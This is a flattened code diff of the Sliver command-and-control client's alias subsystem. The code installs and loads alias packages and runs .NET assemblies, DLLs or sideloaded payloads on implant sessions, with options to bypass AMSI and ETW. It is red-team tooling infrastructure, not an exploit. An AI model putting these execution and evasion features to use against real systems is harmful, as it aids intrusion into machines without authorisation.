func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverClient) []string { func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{} results := []string{}
for name := range loadedAliases { for name := range loadedAliases {
if strings.HasPrefix(name, prefix) { if strings.HasPrefix(name, prefix) {
@@ -128,7 +129,7 @@ func getInstalledManifests() map[string]*AliasManifest {
return installedManifests return installedManifests
} }
// AliasCommandNameCompleter - Completer for installed extensions command names. // AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCompleter() carapace.Action { func AliasCompleter() carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := []string{} results := []string{}
-64
View File
@@ -1,64 +0,0 @@
package alias
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// Commands returns the `alias` command and its child commands.
func Commands(con *console.SliverClient) []*cobra.Command {
aliasCmd := &cobra.Command{
Use: consts.AliasesStr,
Short: "List current aliases",
Long: help.GetHelpFor([]string{consts.AliasesStr}),
Run: func(cmd *cobra.Command, args []string) {
AliasesCmd(cmd, con, args)
},
GroupID: consts.GenericHelpGroup,
}
aliasLoadCmd := &cobra.Command{
Use: consts.LoadStr + " [ALIAS]",
Short: "Load a command alias",
Long: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
AliasesLoadCmd(cmd, con, args)
},
}
aliasCmd.AddCommand(aliasLoadCmd)
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
completers.RegisterLocalFilePathPositionalCompletion(aliasLoadCmd, 0)
aliasInstallCmd := &cobra.Command{
Use: consts.InstallStr + " [ALIAS]",
Short: "Install a command alias",
Long: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
AliasesInstallCmd(cmd, con, args)
},
}
aliasCmd.AddCommand(aliasInstallCmd)
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
completers.RegisterLocalFilePathPositionalCompletion(aliasInstallCmd, 0)
aliasRemove := &cobra.Command{
Use: consts.RmStr + " [ALIAS]",
Short: "Remove an alias",
Long: help.GetHelpFor([]string{consts.RmStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
AliasesRemoveCmd(cmd, con, args)
},
}
flags.NewCompletions(aliasRemove).PositionalCompletion(AliasCompleter())
aliasCmd.AddCommand(aliasRemove)
return []*cobra.Command{aliasCmd}
}
+19 -22
View File
@@ -24,30 +24,31 @@ import (
"path/filepath" "path/filepath"
"strings" "strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
) )
// AliasesInstallCmd - Install an alias. // AliasesInstallCmd - Install an alias
func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
aliasLocalPath := args[0] aliasLocalPath := args[0]
fi, err := os.Stat(aliasLocalPath) fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) { if os.IsNotExist(err) {
con.PrintErrorf("Alias path '%s' does not exist", aliasLocalPath) con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
return return
} }
if !fi.IsDir() { if !fi.IsDir() {
InstallFromFile(aliasLocalPath, "", false, con) InstallFromFile(aliasLocalPath, false, con)
} else { } else {
installFromDir(aliasLocalPath, con) installFromDir(aliasLocalPath, con)
} }
} }
// Install an extension from a directory. // Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverClient) { func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName)) manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil { if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
@@ -62,7 +63,8 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
if _, err := os.Stat(installPath); !os.IsNotExist(err) { if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Alias '%s' already exists", manifest.CommandName) con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
confirm := false confirm := false
_ = forms.Confirm("Overwrite current install?", &confirm) prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm { if !confirm {
return return
} }
@@ -98,8 +100,8 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
con.Printf("done!\n") con.Printf("done!\n")
} }
// Install an extension from a .tar.gz file. // Install an extension from a .tar.gz file
func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite bool, con *console.SliverClient) *string { func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName)) manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil { if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err) con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
@@ -107,21 +109,16 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
} }
manifest, err := ParseAliasManifest(manifestData) manifest, err := ParseAliasManifest(manifestData)
if err != nil { if err != nil {
errorMsg := "" con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
if aliasName != "" {
errorMsg = fmt.Sprintf("Error processing manifest for alias %s - failed to parse %s: %s\n", aliasName, ManifestFileName, err)
} else {
errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
}
con.PrintErrorf("%s", errorMsg)
return nil return nil
} }
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName)) installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) { if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if promptToOverwrite { if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName) con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false confirm := false
_ = forms.Confirm("Overwrite current install?", &confirm) prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm { if !confirm {
return nil return nil
} }
@@ -143,7 +140,7 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
} }
for _, aliasFile := range manifest.Files { for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" { if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path) err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
if err != nil { if err != nil {
con.PrintErrorf("Failed to install file: %s\n", err) con.PrintErrorf("Failed to install file: %s\n", err)
forceRemoveAll(installPath) forceRemoveAll(installPath)
@@ -155,7 +152,7 @@ func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite
return &installPath return &installPath
} }
func installArtifact(aliasGzFilePath string, installPath, artifactPath string) error { func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator)))) data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
if err != nil { if err != nil {
return err return err
+66 -282
View File
@@ -27,20 +27,19 @@ import (
"path/filepath" "path/filepath"
"strings" "strings"
"github.com/bishopfox/sliver/client/assets" "github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/packages"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/carapace-sh/carapace"
app "github.com/reeflective/console" app "github.com/reeflective/console"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/spf13/pflag" "github.com/spf13/pflag"
"google.golang.org/protobuf/proto" "google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
) )
const ( const (
@@ -54,40 +53,30 @@ const (
) )
var ( var (
// alias name -> manifest/command. // alias name -> manifest/command
loadedAliases = map[string]*loadedAlias{} loadedAliases = map[string]*loadedAlias{}
defaultHostProc = map[string]string{ defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc, "windows": windowsDefaultHostProc,
"linux": linuxDefaultHostProc, "linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc, "darwin": macosDefaultHostProc,
} }
) )
// Ties the manifest struct to the command struct. // Ties the manifest struct to the command struct
type loadedAlias struct { type loadedAlias struct {
Manifest *AliasManifest Manifest *AliasManifest
Command *cobra.Command Command *cobra.Command
} }
// AliasFile - An OS/Arch specific file. // AliasFile - An OS/Arch specific file
type AliasFile struct { type AliasFile struct {
OS string `json:"os"` OS string `json:"os"`
Arch string `json:"arch"` Arch string `json:"arch"`
Path string `json:"path"` Path string `json:"path"`
} }
// AliasArgument - An argument for an alias command. // AliasManifest - The manifest for an alias, contains metadata
type AliasArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
Default interface{} `json:"default,omitempty"`
Choices []string `json:"choices,omitempty"`
}
// AliasManifest - The manifest for an alias, contains metadata.
type AliasManifest struct { type AliasManifest struct {
Name string `json:"name"` Name string `json:"name"`
Version string `json:"version"` Version string `json:"version"`
@@ -97,18 +86,14 @@ type AliasManifest struct {
Help string `json:"help"` Help string `json:"help"`
LongHelp string `json:"long_help"` LongHelp string `json:"long_help"`
Entrypoint string `json:"entrypoint"` Entrypoint string `json:"entrypoint"`
AllowArgs bool `json:"allow_args"` AllowArgs bool `json:"allow_args"`
DefaultArgs string `json:"default_args"` DefaultArgs string `json:"default_args"`
Arguments []*AliasArgument `json:"arguments"` Files []*AliasFile `json:"files"`
Files []*AliasFile `json:"files"` IsReflective bool `json:"is_reflective"`
IsReflective bool `json:"is_reflective"` IsAssembly bool `json:"is_assembly"`
IsAssembly bool `json:"is_assembly"`
Schema *packages.OutputSchema `json:"schema"`
RootPath string `json:"-"` RootPath string `json:"-"`
ArmoryName string `json:"-"`
ArmoryPK string `json:"-"`
} }
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) { func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
@@ -119,7 +104,7 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
return return
} }
func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch string) (string, error) { func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := "" filePath := ""
for _, extFile := range a.Files { for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch { if targetOS == extFile.OS && targetArch == extFile.Arch {
@@ -139,7 +124,7 @@ func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch s
} }
// AliasesLoadCmd - Locally load a alias into the Sliver shell. // AliasesLoadCmd - Locally load a alias into the Sliver shell.
func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
dirPath := args[0] dirPath := args[0]
// dirPath := ctx.Args.String("dir-path") // dirPath := ctx.Args.String("dir-path")
alias, err := LoadAlias(dirPath, cmd.Root(), con) alias, err := LoadAlias(dirPath, cmd.Root(), con)
@@ -150,8 +135,8 @@ func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string
} }
} }
// LoadAlias - Load an alias into the Sliver shell from a given directory. // LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClient) (*AliasManifest, error) { func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest // retrieve alias manifest
var err error var err error
manifestPath, err = filepath.Abs(manifestPath) manifestPath, err = filepath.Abs(manifestPath)
@@ -170,60 +155,15 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
} }
aliasManifest.RootPath = filepath.Dir(manifestPath) aliasManifest.RootPath = filepath.Dir(manifestPath)
// Build usage string including arguments
usage := strings.Builder{}
usage.WriteString(aliasManifest.CommandName)
for _, arg := range aliasManifest.Arguments {
usage.WriteString(" ")
if arg.Optional {
usage.WriteString("[")
}
usage.WriteString(strings.ToUpper(arg.Name))
if arg.Optional {
usage.WriteString("]")
}
}
// Build long help message
longHelp := strings.Builder{}
longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
longHelp.WriteString(usage.String())
longHelp.WriteString("\n")
if len(aliasManifest.Help) > 0 || len(aliasManifest.LongHelp) > 0 {
longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
if len(aliasManifest.Help) > 0 {
longHelp.WriteString(aliasManifest.Help)
longHelp.WriteString("\n")
}
if len(aliasManifest.LongHelp) > 0 {
longHelp.WriteString(aliasManifest.LongHelp)
longHelp.WriteString("\n")
}
}
if len(aliasManifest.Arguments) > 0 {
longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
for _, arg := range aliasManifest.Arguments {
longHelp.WriteString("\n\t")
optStr := ""
if arg.Optional {
optStr = "[OPTIONAL]"
}
aType := arg.Type
if aType == "wstring" {
aType = "string"
}
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
}
}
longHelp.WriteString("\n\n⚠️ If you're having issues passing arguments to the alias please read:\n")
longHelp.WriteString("https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing")
// for each alias command, add a new app command // for each alias command, add a new app command
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help) helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &cobra.Command{ addAliasCmd := &cobra.Command{
Use: usage.String(), Use: aliasManifest.CommandName,
Short: helpMsg, Short: helpMsg,
Long: help.FormatHelpTmpl(longHelp.String()), Long: longHelpMsg,
Run: func(cmd *cobra.Command, args []string) { Run: func(cmd *cobra.Command, args []string) {
runAliasCommand(cmd, con, args) runAliasCommand(cmd, con, args)
}, },
@@ -239,9 +179,9 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
f.BoolP("in-process", "i", false, "Run in the current sliver process") f.BoolP("in-process", "i", false, "Run in the current sliver process")
f.StringP("runtime", "r", "v4.0.30319", "Runtime to use for running the assembly") f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows") f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows") f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
addAliasCmd.Flags().AddFlagSet(f) addAliasCmd.Flags().AddFlagSet(f)
} }
@@ -253,10 +193,6 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds") f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
addAliasCmd.Flags().AddFlagSet(f) addAliasCmd.Flags().AddFlagSet(f)
// Setup completions for alias arguments
comps := carapace.Gen(addAliasCmd)
makeAliasArgCompleter(aliasManifest, comps)
cmd.AddCommand(addAliasCmd) cmd.AddCommand(addAliasCmd)
// Have to use a global map here, as passing the aliasCmd // Have to use a global map here, as passing the aliasCmd
@@ -269,7 +205,7 @@ func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverClien
return aliasManifest, nil return aliasManifest, nil
} }
// ParseAliasManifest - Parse an alias manifest. // ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) { func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it // parse it
alias := &AliasManifest{} alias := &AliasManifest{}
@@ -302,17 +238,10 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
} }
} }
if alias.Schema != nil {
if !packages.IsValidSchemaType(alias.Schema.Name) {
return nil, fmt.Errorf("%s is not a valid schema type", alias.Schema.Name)
}
alias.Schema.IngestColumns()
}
return alias, nil return alias, nil
} }
func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []string) { func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive() session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil { if session == nil && beacon == nil {
return return
@@ -339,20 +268,20 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
return return
} }
// args := ctx.Args.StringList("arguments") // args := ctx.Args.StringList("arguments")
var extArgsStr string var extArgs string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 { if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgsStr = aliasManifest.DefaultArgs extArgs = aliasManifest.DefaultArgs
} else { } else {
extArgsStr = strings.Join(args, " ") extArgs = strings.Join(args, " ")
} }
extArgsStr = strings.TrimSpace(extArgsStr) extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint entryPoint := aliasManifest.Entrypoint
processArgsStr, _ := cmd.Flags().GetString("process-arguments") processArgsStr, _ := cmd.Flags().GetString("process-arguments")
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads): // Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
// The Donut loader has a hard limit of 256 characters for the command line arguments, so // The Donut loader has a hard limit of 256 characters for the command line arguments, so
// we're alerting the user that the arguments will be truncated. // we're alerting the user that the arguments will be truncated.
if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) { if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
msgStr := "" msgStr := ""
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true). // The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics // Groupping the two conditions together could crash the client since ctx.Flags.Type panics
@@ -372,9 +301,10 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
} else if !aliasManifest.IsReflective { } else if !aliasManifest.IsReflective {
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n" msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
} }
con.PrintWarnf("%s", msgStr) con.PrintWarnf(msgStr)
confirm := false confirm := false
forms.Confirm("Do you want to continue?", &confirm) prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm { if !confirm {
return return
} }
@@ -423,13 +353,13 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
// Execute Assembly // Execute Assembly
ctrl := make(chan bool) ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr) msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl) con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{ executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
IsDLL: isDLL, IsDLL: isDLL,
Process: processName, Process: processName,
Arguments: args, Arguments: extArgs,
Assembly: binData, Assembly: binData,
Arch: arch, Arch: arch,
Method: method, Method: method,
@@ -456,11 +386,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
con.PrintErrorf("Failed to decode call ext response %s\n", err) con.PrintErrorf("Failed to decode call ext response %s\n", err)
return return
} }
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con) PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
}) })
con.PrintAsyncResponse(executeAssemblyResp.Response) con.PrintAsyncResponse(executeAssemblyResp.Response)
} else { } else {
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con) PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
} }
} else if aliasManifest.IsReflective { } else if aliasManifest.IsReflective {
@@ -469,11 +399,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
// Spawn DLL // Spawn DLL
ctrl := make(chan bool) ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr) msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl) con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{ spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
Args: args, Args: strings.Trim(extArgs, " "),
Data: binData, Data: binData,
ProcessName: processName, ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint, EntryPoint: aliasManifest.Entrypoint,
@@ -495,11 +425,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
con.PrintErrorf("Failed to decode call ext response %s\n", err) con.PrintErrorf("Failed to decode call ext response %s\n", err)
return return
} }
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con) PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
}) })
con.PrintAsyncResponse(spawnDllResp.Response) con.PrintAsyncResponse(spawnDllResp.Response)
} else { } else {
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con) PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
} }
} else { } else {
@@ -508,11 +438,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
// Sideload // Sideload
ctrl := make(chan bool) ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr) msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
con.SpinUntil(msg, ctrl) con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{ sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(cmd), Request: con.ActiveTarget.Request(cmd),
Args: args, Args: extArgs,
Data: binData, Data: binData,
EntryPoint: entryPoint, EntryPoint: entryPoint,
ProcessName: processName, ProcessName: processName,
@@ -535,80 +465,36 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
con.PrintErrorf("Failed to decode call ext response %s\n", err) con.PrintErrorf("Failed to decode call ext response %s\n", err)
return return
} }
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con) PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
}) })
con.PrintAsyncResponse(sideloadResp.Response) con.PrintAsyncResponse(sideloadResp.Response)
} else { } else {
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con) PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
} }
} }
} }
func getOutputWithSchema(schema *packages.OutputSchema, result string) string { // PrintSpawnDLLOutput - Prints the output of a spawn dll command
if schema == nil { func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
return result con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
}
outputSchema := packages.GetNewPackageOutput(schema.Name)
if outputSchema == nil {
return result
}
err := outputSchema.IngestData([]byte(result), schema.Columns(), schema.GroupBy)
if err != nil {
return result
}
return outputSchema.CreateTable()
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command.
func PrintSpawnDLLOutput(cmdName string, schema *packages.OutputSchema, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) {
var result string
if schema != nil {
result = getOutputWithSchema(schema, spawnDllResp.GetResult())
} else {
result = spawnDllResp.GetResult()
}
con.PrintInfof("%s output:\n%s", cmdName, result)
// Output the raw result to the file
if outFilePath != nil { if outFilePath != nil {
outFilePath.WriteString(spawnDllResp.GetResult()) outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name()) con.PrintInfof("Output saved to %s\n", outFilePath.Name())
} }
} }
// PrintSideloadOutput - Prints the output of a sideload command. // PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, schema *packages.OutputSchema, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) { func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
var result string con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if schema != nil {
result = getOutputWithSchema(schema, sideloadResp.GetResult())
} else {
result = sideloadResp.GetResult()
}
con.PrintInfof("%s output:\n%s", cmdName, result)
// Output the raw result to the file
if outFilePath != nil { if outFilePath != nil {
outFilePath.WriteString(sideloadResp.GetResult()) outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name()) con.PrintInfof("Output saved to %s\n", outFilePath.Name())
} }
} }
// PrintAssemblyOutput - Prints the output of an execute-assembly command. // PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, schema *packages.OutputSchema, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) { func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
var result string con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if schema != nil {
result = getOutputWithSchema(schema, string(execAsmResp.GetOutput()))
} else {
result = string(execAsmResp.GetOutput())
}
con.PrintInfof("%s output:\n%s", cmdName, result)
// Output the raw result to the file
if outFilePath != nil { if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput()) outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name()) con.PrintInfof("Output saved to %s\n", outFilePath.Name())
@@ -650,105 +536,3 @@ func makeAliasPlatformFilters(alias *AliasManifest) map[string]string {
app.CommandFilterKey: strings.Join(all, ","), app.CommandFilterKey: strings.Join(all, ","),
} }
} }
// makeAliasArgCompleter builds the positional and dash arguments completer for the alias.
// It provides completion for:
// 1. Positional arguments (before --)
// 2. Flag-style arguments after -- (e.g., --target, --port)
func makeAliasArgCompleter(alias *AliasManifest, comps *carapace.Carapace) {
if len(alias.Arguments) == 0 {
return
}
var actions []carapace.Action
for _, arg := range alias.Arguments {
var action carapace.Action
// If choices are defined, use them for completion
if len(arg.Choices) > 0 {
action = carapace.ActionValues(arg.Choices...).Tag("choices")
} else {
// Fall back to type-based completion
switch arg.Type {
case "file":
action = carapace.ActionFiles().Tag("alias data")
default:
action = carapace.ActionValues()
}
}
usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
if arg.Optional {
usage += " (optional)"
}
actions = append(actions, action.Usage("%s", usage))
}
comps.PositionalCompletion(actions...)
// Add dash completion for flag-style arguments after --
// Pre-build the flag completions at registration time (not in a callback)
